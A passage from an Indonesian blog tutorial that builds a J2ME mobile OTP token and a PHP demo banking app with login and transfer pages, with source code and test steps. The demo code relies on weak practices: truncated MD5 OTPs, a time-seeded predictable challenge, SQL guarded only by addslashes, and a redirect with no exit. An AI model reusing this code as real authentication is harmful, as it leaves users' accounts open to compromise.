Kode di atas sangat sederhana, diawali dengan mengambil detik EPOCH sepanjang 9 digit (ini sama dengan EPOCH/10 karena granularitynya adalah 10 detik). Kemudian nilai EPOCH tersebut digabung dengan init-secret. String gabungan epoch dengan init secret ini dihitung hashnya dengan MD5. Kemudian 6 karakter pertama dari hash tersebut diambil sebagai OTP response only (self generated).
Kode berikut ini adalah untuk membangkitkan OTP dalam mode challenge/response. Kode tersebut sangat mirip dengan potongan kode di atas hanya perbedaannya adalah adanya challenge yang dalam kode tersebut ada pada variabel PIN. Gabungan dari epoch, init secret dan challenge dihitung nilai hashnya dengan MD5, baru kemudian diambil 6 karakter pertamanya sebagai OTP.
1
2
3
4
5
6
now=new Date();            
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
otp=epoch+secret+PIN;
hash=new MD5(otp);
otp=hash.asHex().substring(0,6);
Bila anda ingin mencobanya di hape anda, pastikan HP anda mendukung java. Anda bisa mengkopi file JAR aplikasi ini ke memory card anda dengan bluetooth/USB, atau anda bisa juga mendownload langsung dari browser hp anda. URL untuk mendownload file JAR midlet ini adalah http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar . Selanjutnya anda tinggal mengikuti petunjuk untuk instalasi aplikasi seperti biasa. Ingat sebelum dipakai diperlukan langkah inisialisasi nilai init-secret dengan cara mengetikkan #**# dalam field “CHAL”.
Berikut ini adalah screen capture dari aplikasi tersebut yang diinstall di HP saya. Dua gambar di bawah ini adalah prosedur inisialisasi init-secret ketika aplikasi pertama kali dijalankan. Nilai init secret ini harus dicatat dan disimpan ke dalam tabel user di server.
e90mobileotp1
e90mobileotp2
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode response only.
e90mobileotp5
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode challenge response.
e90mobileotp4
Pembuatan Aplikasi Web
Aplikasi web terdiri dari dua file yaitu login yang menggunakan OTP dalam mode response only, dan transfer yang menggunakan OTP dalam mode challenge response. Seperti halnya midlet token, aplikasi ini juga sangat sederhana. Fungsi utamanya adalah pada fungsi checkCR() dan checkRO() yang berfungsi untuk melakukan otentikasi dalam mode Challenge/Response atau Response Only. Berikut adalah isi dari fungsi checkCR dan checkRO.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Check Challenge/Response Mode
function checkCR($chal,$otp,$initsecret)
{
$maxperiod = 3*60; // in seconds = +/- 3 minutes
$time=gmdate("U");
for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
{
$md5 = substr(md5(substr($i,0,-1).$initsecret.$chal),0,6);
if($otp == $md5) return(true);
}
return(false);
}
 
// Check Response/Only Mode
function checkRO($otp,$initsecret)
{
$maxperiod = 3*60; // in seconds = +/- 3 minutes
$time=gmdate("U");
for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
{
$md5 = substr(md5(substr($i,0,-1).$initsecret),0,6);
if($otp == $md5) return(true);
}
return(false);
}
Perbedaan kedua fungsi itu hanya pada adanya $chal pada fungsi checkCR() sedangkan pada fungsi checkRO() yang digabungkan hanya epoch dan initsecret. Mari kita ulas kedua fungsi tersebut karena inti dari aplikasi ini ada pada kedua fungsi itu.
Dalam artikel sebelumnya saya sudah menjelaskan mengenai time window atau toleransi yang diberikan server ketika melakukan otentikasi. Dalam contoh ini time window yang diberikan server adalah 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server melakukan otentikasi. Waktu (dalam detik EPOCH) ketika server melakukan otentikasi disimpan pada variabel $time (baris ke-5 dan baris ke-18), sehingga server harus menghitung semua otp dari $time-180 hingga $time+180 (3 menit ke belakang dan 3 menit ke depan) pada baris ke-6 dan baris-19.
Selanjutnya pada barus ke-8 dan baris ke-21 server menghitung otp dengan mengambil 6 karakter awal dari fungsi hash gabungan dari epoch+initsecret dan challenge (khusus untuk checkCR).
Di bawah ini adalah source untuk file login.php. Untuk melakukan otentikasi, login.php memanggil fungsi checkRO() pada baris ke-12. Namun untuk memanggil fungsi checkRO() dibutuhkan init secret dari user yang disimpan dalam tabel users sehingga server harus melakukan query ke tabel users (baris ke-8). Selanjutnya bila otentikasi berhasil server akan menyimpan username dan initsecret pada session kemudian mengalihkan user ke aplikasi transfer (transfer.php).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
session_start();
include("initdb.php");
include("lib.php");
if (isset($_POST["login"])) {
$username = addslashes($_POST["username"]);
$pin = $_POST["pin"];
$sql = "select initsecret from users where username='$username' ";
$res=mysql_query($sql);
if ($arr_row=mysql_fetch_array($res)) {
$initsecret = $arr_row[0];
$success = checkRO($pin,$initsecret);
if ($success) {
$_SESSION["username"] = $username;
$_SESSION["initsecret"] = $initsecret;
header("Location: transfer.php");
} else {
$err = "Wrong PIN, Try Again.";
}
} else {
$err = "Wrong PIN, Try Again.";
}
}
?>
<html>
<body>
<H1>Login Internet Banking MyTestBank</H1>
<?php if (isset($err)) echo "<font color=red><B>$err</b></font>"; ?>
<form method="post" action="">
<table border=1>
<tr>
<td>Username</td>
<td><input type="text" name="username" /></td>
</tr>
<tr>
<td>Token PIN:</td>
<td><input type="text" name="pin" /></td>
</tr>
<tr>
<td colspan=2 align=center><input type="submit" name="login" value="Login" /></td>
</tr>
</table>
</form>
</body>
</html>
Di bawah ini adalah source untuk file transfer.php. Untuk melakukan otentikasi server memanggil fungsi checkCR() pada baris ke-13. Fungsi checkCR ini membutuhkan init secret, challenge yang diambil dari session. Kemudian server akan memberikan pesan “Transfer Success” atau “Wrong PIN” tergantung dari hasil fungsi checkCR().
Pada baris ke-21 dan ke-22 server membangkitkan nilai acak sepanjang 4 digit sebagai challenge. Challenge ini disimpan dalam session agar tidak bisa dimanipulasi user. Bila challenge disimpan sebagai hidden field dalam form, maka user bisa bebas mengubah isi challenge itu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
include("initdb.php");
include("lib.php");
if (!isset($_SESSION["initsecret"])) {
header("Location: login.php");
}
if (isset($_POST["login"])) {
$username = addslashes($_POST["username"]);
$pin = addslashes($_POST["pin"]);
$initsecret = $_SESSION["initsecret"];
$challenge = $_SESSION["challenge"];
$success = checkCR($challenge,$pin,$initsecret);
 
if ($success) {
$msg = "<font color=green>Transfer Success</font>";
} else {
$msg = "<font color=red>Wrong PIN</font>";
}
}
srand(time());
$challenge = sprintf("%04d",(rand()%9999));
$_SESSION["challenge"] = $challenge;
 
?>
<html>
<body>
<?php if (isset($msg)) echo "<B>$msg</b>"; ?>
<h1>Transfer Form</h1>
<form method="post" action="">
No Rekening Tujuan: <input type="text" name="norek" /><br/>
Jumlah: Rp. <input type="text" name="jumlah" /><br/>
Challenge Code: <?= $challenge ?><i>(Masukkan kode ini ke dalam token anda)</i><br/>
Token PIN : <input type="text" name="pin" /><i>(Masukkan response dari token anda)</i><br/>
<input type="submit" name="login" value="Transfer" /><br/>
</form>
</body>
</html>
Anda bisa mendownload semua source php di sini.
Test
Sebelum mencoba pertama saya harus menyamakan jam di token (handphone) dengan jam di server. Setelah sama baru kita uji coba aplikasi ini dengan skenario berikut:
Nasabah myTestBank ingin memakai aplikasi internet banking myTestBank untuk mentransfer sejumlah uang. Untuk itu dia baru saja mendownload Midlet Token dan menginstallnya ke HPnya. Token midlet tersebut diinisialisasi dengan nilai init secret 369e4a62be0e579a. Setelah mendaftar user tersebut mendapat username rizki. Untuk menggunakan fasilitas ini dia harus membuka browser ke URL https://localhost/mytestbank/login.php .
Selain menyamakan jam di token dan di server, init secret di token dan di server harus sama. Gambar di bawah ini menunjukkan bahwa init secret di hape saya sudah sama dengan yang di tabel users MySQL.
initsecret-server-token
Kini user sudah siap mencoba untuk login ke aplikasi MyTestBank di URL https://localhost/mytestbank/login.php . Berikut ini adalah screen capture ketika user login.
loginotp
Setelah login berhasil, kemudian user dihadapkan pada form untuk melakukan transfer uang. Berikut ini adalah screen shot pada browser dan hp user ketika user melakukan transfer.
transferformOTP
Setelah memasukkan OTP dengan benar, server memberikan informasi “Transfer Success”. Kini user telah berhasil melakukan transfer. Berikut adalah screenshot ketika transfer berhasil dilakukan.
transfersuccess
No related posts.

Random Post

 
Support : Creating Website | Tom Template | Tom Template
Copyright © 2011. NAMMASTTE - All Rights Reserved
Template Created by Creating Website Published by TomTom Template
Proudly powered by Blogger